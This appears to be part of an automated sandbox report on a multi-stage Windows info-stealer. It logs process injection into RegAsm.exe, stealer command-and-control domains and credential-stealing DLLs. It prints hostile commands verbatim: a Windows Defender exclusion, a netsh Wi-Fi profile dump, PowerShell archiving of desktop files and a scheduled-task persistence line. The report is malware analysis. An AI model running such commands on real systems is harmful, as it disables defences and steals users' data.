Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe

Thread created: unknown EIP: 34419A0

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: RegAsm.exe, 0000001D.00000002.2189256789.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: pillowbrocccolipe.shop
Source: RegAsm.exe, 0000001D.00000002.2189256789.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: communicationgenerwo.shop
Source: RegAsm.exe, 0000001D.00000002.2189256789.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: diskretainvigorousiw.shop
Source: RegAsm.exe, 0000001D.00000002.2189256789.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: affordcharmcropwo.shop
Source: RegAsm.exe, 0000001D.00000002.2189256789.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: dismissalcylinderhostw.shop
Source: RegAsm.exe, 0000001D.00000002.2189256789.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: enthusiasimtitleow.shop
Source: RegAsm.exe, 0000001D.00000002.2189256789.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: worryfillvolcawoi.shop
Source: RegAsm.exe, 0000001D.00000002.2189256789.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: cleartotalfisherwo.shop

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Section loaded: NULL target: unknown protection: read write
Source: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe	Section loaded: NULL target: unknown protection: execute and read

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe

Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base address: 400000

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 439000
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 43C000
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 447000
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 629008
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41B000
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 423000
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 636000
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BF3008
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 404000
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 406000
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BDB008

Source: C:\Users\user\Desktop\1CMweaqlKp.exe	Process created: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe "C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe "C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe "C:\Users\user\AppData\Local\Temp\1000019001\amert.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe "C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Process created: C:\Users\user\1000021002\ac861238af.exe "C:\Users\user\1000021002\ac861238af.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe "C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe "C:\Users\user\AppData\Local\Temp\1000071001\jok.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe "C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe"
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: unknown unknown
Source: C:\Users\user\1000021002\ac861238af.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe" /F
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe "C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe"
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe "C:\Users\user\AppData\Local\Temp\1000235001\toolspub1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000234001\ISetup8.exe	Process created: C:\Users\user\AppData\Local\Temp\u6po.0.exe "C:\Users\user\AppData\Local\Temp\u6po.0.exe"
Source: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe" -Force
Source: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown

Source: ac861238af.exe, 00000010.00000000.1932011901.0000000000762000.00000002.00000001.01000000.0000000E.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: RageMP131.exe, 0000002E.00000002.2634385282.0000000000BB0000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: QProgram Manager

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\u6po.0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\u6po.0.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Queries volume information: C:\Users\user\1000021002\ac861238af.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Queries volume information: C:\Users\user\1000021002\ac861238af.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000073001\swiiii.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000075001\file300un.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000077001\jfesawdr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000077001\jfesawdr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000079001\gold.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000079001\gold.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000080001\alexxxxxxxx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000080001\alexxxxxxxx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000081001\install.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000081001\install.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\DTBZGIOOSO.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\DTBZGIOOSO.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\HTAGVDFUIE.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\ONBQCLYSPU.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\UMMBDNEQBN.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\XZXHAVGRAG.docx VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: unknown VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
